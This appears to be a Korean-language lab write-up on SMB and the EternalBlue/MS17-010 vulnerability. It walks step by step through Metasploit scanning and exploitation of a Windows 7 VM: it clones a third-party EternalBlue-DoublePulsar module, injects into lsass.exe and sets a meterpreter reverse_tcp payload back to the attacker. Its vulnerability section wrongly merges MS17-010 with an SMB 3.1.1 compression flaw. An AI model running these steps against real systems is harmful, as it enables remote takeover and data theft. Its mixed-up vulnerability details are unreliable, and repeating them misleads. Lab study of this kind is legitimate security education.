- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐
- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
버전
설명
SMBv1
- MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜 - 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용 - 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2
- 2006년 제작되어 Windows Vista부터 탑재 - 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음 - 속도와 보안 모두 기존보다 월등 - 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3
- SMBv2에 속도 최적화 및 각종 기능을 추가한 것 - 2012년에 제작되어 Windows 8부터 탑재 - SMBv2와도 통신이 가능 - SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것
2. 이터널블루 (EthernalBlue)
- 미 국가안보국(NSA)의 해킹 도구
- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용
- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출
※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용
3. 취약점
- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능
- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점
- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능
- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능
- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포
영향받는 버전 - Windows 10 - Windows 8.1 - Windows RT 8.1 - Windows 7 - Windows Server 2016 - Windows Server 2012 R2 - Windows server 2008 R2 SP1 SP2
취약점명
CVE 번호
MS 번호
Windows SMB 원격 코드 실행 취약점
CVE-2017-0143
MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147
3.1 실습
희생자 PC - OS : Windows 7 Ultimate x64 - IP : 192.168.56.116
공격자 PC - OS : Kali Linux - IP : 192.168.56.102
- 희생자 PC에 SMB Port가 열려 있는지 확인
- 메타스플로잇 실행
service postgresql start
msfconsole
- ms17_010 모듈 실행 및 옵션 설정
- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인
※ 아래부터 보고서를 기준으로 작성
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
- 취약한 서버일 경우 [+]로 정보가 표시
- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/
- 이터널블루-더블펄서 모듈 실행
msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options
- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정
옵션
설명
DOUBLEPULSARPATH
더블펄서 경로 지정
ETERNALBLUEPATH
이터널블루 경로 지정
PROCESSINJECT
악성코드가 들어갈 프로세스 지정 x64는 lsass.exe 사용
RHOSTS
공격 대상 IP
RPORT
445 (SMB Port)
TARGETARCHITECTURE
공격 대상 운영체제 버전 (x86, x64)
WINEPATH
/root/.wine/drive_c/
Exploit target
공격 대상 OS 설정
LHOST
로컬 IP 주소
payload
페이로드 생성
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102
- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정
- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능
※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/